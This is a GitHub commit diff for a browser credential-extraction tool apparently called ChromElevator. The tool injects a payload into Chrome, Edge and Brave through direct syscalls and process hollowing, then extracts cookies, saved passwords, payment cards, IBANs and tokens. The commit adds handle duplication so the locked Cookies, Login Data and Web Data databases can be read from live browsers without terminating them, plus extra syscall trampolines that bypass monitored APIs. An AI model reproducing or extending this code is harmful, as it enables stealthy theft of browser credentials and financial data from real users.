Skip to content

Commit a0f892e

Browse files
committed
v0.17.3
1 parent e2c34a6 commit a0f892e

14 files changed

+568
-63
lines changed

CHANGELOG.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,14 @@
22

33
## 🆕 Changelog
44

5+
### v0.17.3
6+
7+
* **Locked SQLite Access via Handle Duplication**: Added syscall-based handle enumeration and duplication to access browser SQLite databases without terminating processes.
8+
* Duplicates open database file handles into the payload process and extracts from a temporary copy.
9+
* Prevents failures caused by active file locks on especially `Cookies`.
10+
* **Extended Syscall Coverage**: Added direct syscall support for handle and file operations (`NtDuplicateObject`, `NtQuerySystemInformation`, `NtQueryObject`, `NtReadFile`, `NtQueryInformationFile`, `NtSetInformationFile`).
11+
* **Extraction Flow Change**: Removed browser network-service termination logic in favor of non-intrusive live-process extraction.
12+
513
### v0.17.2
614
- **Browser Process Termination**: Added `-k/--kill` flag to terminate all running browser processes before extraction.
715
- Uses direct syscalls (`NtTerminateProcess`, `NtGetNextProcess`, `NtOpenProcess`) for process termination.

README.md

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -149,7 +149,7 @@ _________ .__ ___________.__ __
149149
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
150150
\/ \/ \/ \/ \/ \/
151151
Direct Syscall-Based Reflective Hollowing
152-
x64 & ARM64 | v0.17.2 by @xaitax
152+
x64 & ARM64 | v0.17.3 by @xaitax
153153

154154
Usage: chromelevator.exe [options] <chrome|edge|brave|all>
155155

@@ -192,7 +192,7 @@ _________ .__ ___________.__ __
192192
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
193193
\/ \/ \/ \/ \/ \/
194194
Direct Syscall-Based Reflective Hollowing
195-
x64 & ARM64 | v0.17.2 by @xaitax
195+
x64 & ARM64 | v0.17.3 by @xaitax
196196
197197
┌──── Brave ──────────────────────────────────────
198198
@@ -256,11 +256,9 @@ _________ .__ ___________.__ __
256256
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
257257
\/ \/ \/ \/ \/ \/
258258
Direct Syscall-Based Reflective Hollowing
259-
x64 & ARM64 | v0.17.2 by @xaitax
259+
x64 & ARM64 | v0.17.3 by @xaitax
260260
261261
┌──── Chrome ──────────────────────────────────────
262-
│ Terminating browser network services...
263-
│ [+] Network services terminated
264262
│ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe
265263
│ [+] Process created (PID: 13020)
266264
│ [+] IPC pipe established: \\.\pipe\chrome.sync.26370.18285.8B20

make.bat

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,11 +89,22 @@ cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\payload\pipe_client.cpp" /Fo"%BUIL
8989
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%LIBS_DIR%\sqlite" /c "%SRC_DIR%\payload\data_extractor.cpp" /Fo"%BUILD_DIR%\data_extractor.obj"
9090
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\crypto\aes_gcm.cpp" /Fo"%BUILD_DIR%\aes_gcm.obj"
9191
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\crypto\chacha20.cpp" /Fo"%BUILD_DIR%\chacha20.obj"
92+
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\payload\handle_duplicator.cpp" /Fo"%BUILD_DIR%\handle_duplicator.obj"
93+
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\sys\internal_api.cpp" /Fo"%BUILD_DIR%\internal_api_payload.obj"
94+
95+
:: Compile syscall trampoline for payload DLL
96+
if "%VSCMD_ARG_TGT_ARCH%"=="arm64" (
97+
armasm64.exe -nologo "%SRC_DIR%\sys\syscall_trampoline_arm64.asm" -o "%BUILD_DIR%\syscall_trampoline_payload.obj"
98+
) else (
99+
ml64.exe /nologo /c /Fo"%BUILD_DIR%\syscall_trampoline_payload.obj" "%SRC_DIR%\sys\syscall_trampoline_x64.asm"
100+
)
92101

93102
link %LFLAGS_COMMON% %LFLAGS_MERGE% /DLL /OUT:"%BUILD_DIR%\%PAYLOAD_DLL_NAME%" ^
94103
"%BUILD_DIR%\payload_main.obj" "%BUILD_DIR%\bootstrap.obj" "%BUILD_DIR%\elevator.obj" ^
95104
"%BUILD_DIR%\pipe_client.obj" "%BUILD_DIR%\data_extractor.obj" "%BUILD_DIR%\aes_gcm.obj" ^
96-
"%BUILD_DIR%\chacha20.obj" "%BUILD_DIR%\sqlite3.lib" ^
105+
"%BUILD_DIR%\chacha20.obj" "%BUILD_DIR%\handle_duplicator.obj" ^
106+
"%BUILD_DIR%\internal_api_payload.obj" "%BUILD_DIR%\syscall_trampoline_payload.obj" ^
107+
"%BUILD_DIR%\sqlite3.lib" ^
97108
bcrypt.lib ole32.lib oleaut32.lib shell32.lib version.lib comsuppw.lib crypt32.lib advapi32.lib kernel32.lib user32.lib libvcruntime.lib libucrt.lib
98109
goto :eof
99110

src/core/version.hpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@
66
namespace Core {
77

88
// Main version string - shown in banner
9-
constexpr const char* VERSION = "0.17.2";
9+
constexpr const char* VERSION = "0.17.3";
1010

1111
// Full version for build identification (update for releases)
12-
constexpr const char* BUILD_TAG = "v0.17.2";
12+
constexpr const char* BUILD_TAG = "v0.17.3";
1313

1414
}

src/injector/injector_main.cpp

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,10 +45,6 @@ void ProcessBrowser(const BrowserInfo& browser, bool verbose, bool fingerprint,
4545
console.Debug(" [+] No running processes found");
4646
}
4747
Sleep(300);
48-
} else {
49-
console.Debug("Terminating browser network services...");
50-
ProcessManager::KillNetworkServices(browser.exeName);
51-
console.Debug(" [+] Network services terminated");
5248
}
5349

5450
console.Debug("Creating suspended process: " + Core::ToUtf8(browser.fullPath));

src/injector/process_manager.cpp

Lines changed: 0 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -81,48 +81,4 @@ namespace Injector {
8181
}
8282
}
8383

84-
void ProcessManager::KillNetworkServices(const std::wstring& processName) {
85-
Core::UniqueHandle hCurrentProc;
86-
HANDLE nextProcHandle = nullptr;
87-
88-
while (NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &nextProcHandle) == 0) {
89-
Core::UniqueHandle hNextProc(nextProcHandle);
90-
hCurrentProc = std::move(hNextProc);
91-
92-
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
93-
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
94-
95-
if (NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, imageName, (ULONG)buffer.size(), NULL) != 0 || imageName->Length == 0)
96-
continue;
97-
98-
std::wstring pPath(imageName->Buffer, imageName->Length / sizeof(wchar_t));
99-
std::filesystem::path p(pPath);
100-
101-
if (_wcsicmp(p.filename().c_str(), processName.c_str()) != 0)
102-
continue;
103-
104-
PROCESS_BASIC_INFORMATION pbi{};
105-
if (NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, &pbi, sizeof(pbi), nullptr) != 0 || !pbi.PebBaseAddress)
106-
continue;
107-
108-
// Read PEB to get command line
109-
// Note: This is a simplified version. In a real elite tool, we'd be more robust reading remote memory.
110-
// But for now, we follow the original logic.
111-
PEB peb{};
112-
if (NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr) != 0) continue;
113-
114-
RTL_USER_PROCESS_PARAMETERS params{};
115-
if (NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, &params, sizeof(params), nullptr) != 0) continue;
116-
117-
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
118-
if (params.CommandLine.Length > 0 && NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, cmdLine.data(), params.CommandLine.Length, nullptr) == 0) {
119-
if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) {
120-
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
121-
// Wait for process to terminate and release file handles
122-
WaitForSingleObject(hCurrentProc.get(), 500);
123-
}
124-
}
125-
}
126-
}
127-
12884
}

src/injector/process_manager.hpp

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,6 @@ namespace Injector {
1919
HANDLE GetThreadHandle() const { return m_hThread.get(); }
2020
DWORD GetPid() const { return m_pid; }
2121

22-
// Kill existing network services to free file locks
23-
static void KillNetworkServices(const std::wstring& processName);
24-
2522
private:
2623
void CheckArchitecture();
2724

src/payload/data_extractor.cpp

Lines changed: 55 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
33

44
#include "data_extractor.hpp"
5+
#include "handle_duplicator.hpp"
56
#include "../crypto/aes_gcm.hpp"
67
#include <fstream>
78
#include <sstream>
@@ -23,6 +24,55 @@ namespace Payload {
2324
return db;
2425
}
2526

27+
sqlite3* DataExtractor::OpenDatabaseWithHandleDuplication(const std::filesystem::path& dbPath) {
28+
sqlite3* db = OpenDatabase(dbPath);
29+
if (db) {
30+
sqlite3_stmt* stmt = nullptr;
31+
if (sqlite3_prepare_v2(db, "SELECT 1", -1, &stmt, nullptr) == SQLITE_OK) {
32+
if (sqlite3_step(stmt) == SQLITE_ROW) {
33+
sqlite3_finalize(stmt);
34+
return db;
35+
}
36+
sqlite3_finalize(stmt);
37+
}
38+
sqlite3_close(db);
39+
db = nullptr;
40+
}
41+
42+
HandleDuplicator duplicator;
43+
44+
auto tempDir = m_outputBase / ".temp";
45+
auto tempDbPath = duplicator.CopyLockedFile(dbPath, tempDir);
46+
47+
if (!tempDbPath) {
48+
return nullptr;
49+
}
50+
51+
m_tempFiles.push_back(*tempDbPath);
52+
53+
return OpenDatabase(*tempDbPath);
54+
}
55+
56+
void DataExtractor::CleanupTempFiles() {
57+
for (const auto& tempFile : m_tempFiles) {
58+
try {
59+
if (std::filesystem::exists(tempFile)) {
60+
std::filesystem::remove(tempFile);
61+
}
62+
} catch (...) {
63+
// Ignore cleanup failures
64+
}
65+
}
66+
m_tempFiles.clear();
67+
68+
try {
69+
auto tempDir = m_outputBase / ".temp";
70+
if (std::filesystem::exists(tempDir) && std::filesystem::is_empty(tempDir)) {
71+
std::filesystem::remove(tempDir);
72+
}
73+
} catch (...) {}
74+
}
75+
2676
void DataExtractor::ProcessProfile(const std::filesystem::path& profilePath, const std::string& browserName) {
2777
m_pipe.Log("PROFILE:" + profilePath.filename().string());
2878

@@ -38,7 +88,7 @@ namespace Payload {
3888
// Cookies
3989
auto cookiePath = profilePath / "Network" / "Cookies";
4090
if (std::filesystem::exists(cookiePath)) {
41-
if (auto db = OpenDatabase(cookiePath)) {
91+
if (auto db = OpenDatabaseWithHandleDuplication(cookiePath)) {
4292
ExtractCookies(db, m_outputBase / browserName / profilePath.filename() / "cookies.json");
4393
sqlite3_close(db);
4494
}
@@ -49,7 +99,7 @@ namespace Payload {
4999
// Passwords
50100
auto loginPath = profilePath / "Login Data";
51101
if (std::filesystem::exists(loginPath)) {
52-
if (auto db = OpenDatabase(loginPath)) {
102+
if (auto db = OpenDatabaseWithHandleDuplication(loginPath)) {
53103
ExtractPasswords(db, m_outputBase / browserName / profilePath.filename() / "passwords.json");
54104
sqlite3_close(db);
55105
}
@@ -60,14 +110,16 @@ namespace Payload {
60110
// Cards & IBANs (Web Data)
61111
auto webDataPath = profilePath / "Web Data";
62112
if (std::filesystem::exists(webDataPath)) {
63-
if (auto db = OpenDatabase(webDataPath)) {
113+
if (auto db = OpenDatabaseWithHandleDuplication(webDataPath)) {
64114
ExtractCards(db, m_outputBase / browserName / profilePath.filename() / "cards.json");
65115
ExtractIBANs(db, m_outputBase / browserName / profilePath.filename() / "iban.json");
66116
ExtractTokens(db, m_outputBase / browserName / profilePath.filename() / "tokens.json");
67117
sqlite3_close(db);
68118
}
69119
}
70120
} catch(...) {}
121+
122+
CleanupTempFiles();
71123
}
72124

73125
void DataExtractor::ExtractCookies(sqlite3* db, const std::filesystem::path& outFile) {

src/payload/data_extractor.hpp

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,10 @@ namespace Payload {
2020
private:
2121
sqlite3* OpenDatabase(const std::filesystem::path& dbPath);
2222

23+
sqlite3* OpenDatabaseWithHandleDuplication(const std::filesystem::path& dbPath);
24+
25+
void CleanupTempFiles();
26+
2327
void ExtractCookies(sqlite3* db, const std::filesystem::path& outFile);
2428
void ExtractPasswords(sqlite3* db, const std::filesystem::path& outFile);
2529
void ExtractCards(sqlite3* db, const std::filesystem::path& outFile);
@@ -31,6 +35,8 @@ namespace Payload {
3135
PipeClient& m_pipe;
3236
std::vector<uint8_t> m_key;
3337
std::filesystem::path m_outputBase;
38+
39+
std::vector<std::filesystem::path> m_tempFiles;
3440
};
3541

3642
}

0 commit comments

Comments
 (0)